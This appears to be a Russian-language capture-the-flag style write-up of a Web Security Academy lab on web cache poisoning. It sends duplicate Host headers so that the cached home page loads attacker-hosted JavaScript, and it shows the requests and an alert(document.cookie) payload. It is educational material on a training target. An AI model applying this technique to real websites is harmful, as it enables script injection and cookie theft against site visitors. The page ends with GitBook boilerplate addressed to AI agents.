> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# Отравление веб-кэша через неоднозначные запросы

### Отравление веб-кэша через неоднозначные запросы

**Описание лабораторной работы**

Этот стенд уязвим к **отравлению веб-кэша** из-за различий в том, как **Система кэширования** и **Бэкенд-сервер** интерпретируют неоднозначные запросы. / Законный пользователь регулярно посещает главную страницу сайта.

\*\*Цель:\*\*/ Отравить кэш так, чтобы главная страница запускала `alert(document.cookie)` в браузере жертвы.

**Первоначальное наблюдение**

* HTTP-ответы содержат заголовок, указывающий на возраст кэша 30 секунд\*\* (`Age: 30`), подтверждая использование механизма кэширования.
* Поведение сервера зависит от структуры запроса, особенно в `Host` заголовка.

<figure><img src="/files/7e5b086b90c4ef732eb02a7782d46dde4c1eac6e" alt=""><figcaption></figcaption></figure>

**Проверка с недопустимым Host**

Изменение `Host` заголовка с несуществующим значением:

```http
Host: wfwfkowf.com
```

Возвращаемый ответ — ошибка Gateway Timeout, указывающая на то, что сервер пытается разрешить это значение:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            Ошибка сервера: Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            Ошибка сервера: Gateway Timeout (1) при подключении к wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

Этот подход заблокирован и поэтому не может быть использован напрямую

<figure><img src="/files/83a341e7aae03d5f0da3d7201a082e51f86c72b0" alt=""><figcaption></figcaption></figure>

**Использование двух заголовков Host**

Отправка **двух `Host` заголовков в одном запросе**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* Приложение обычно отвечает.
* Значение **второго Host** отражается в ресурсе, загружаемом на стороне клиента (например, в `src` атрибуте).

<figure><img src="/files/acdd63af4eca3887b7e7f69e197d00c65b4a0a18" alt=""><figcaption></figcaption></figure>

Это выявляет несогласованную \*\*интерпретацию\*\* между кэшем и бэкендом

**Подготовка полезной нагрузки**

На рабочем сервере создается JavaScript-файл:

/resources/js/tracking.js

Содержимое :

```javascript
alert(document.cookie);
```

<figure><img src="/files/616352d4a5022bdac67944d7e3912d720394ae02" alt=""><figcaption></figcaption></figure>

**Отравление кэша**

Отправляется новый запрос с двумя `Host` заголовками, второй указывает на рабочий сервер:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* Бэкенд принимает запрос.
* Кэш сохраняет отравленный ответ.

<figure><img src="/files/07feaf1bc3b819f547f745aeb635501627632880" alt=""><figcaption></figcaption></figure>

Теперь главная страница ссылается на JavaScript-скрипт, размещенный на сервере атакующего.

<figure><img src="/files/3200517306989082b071f84de62ed63100066534" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
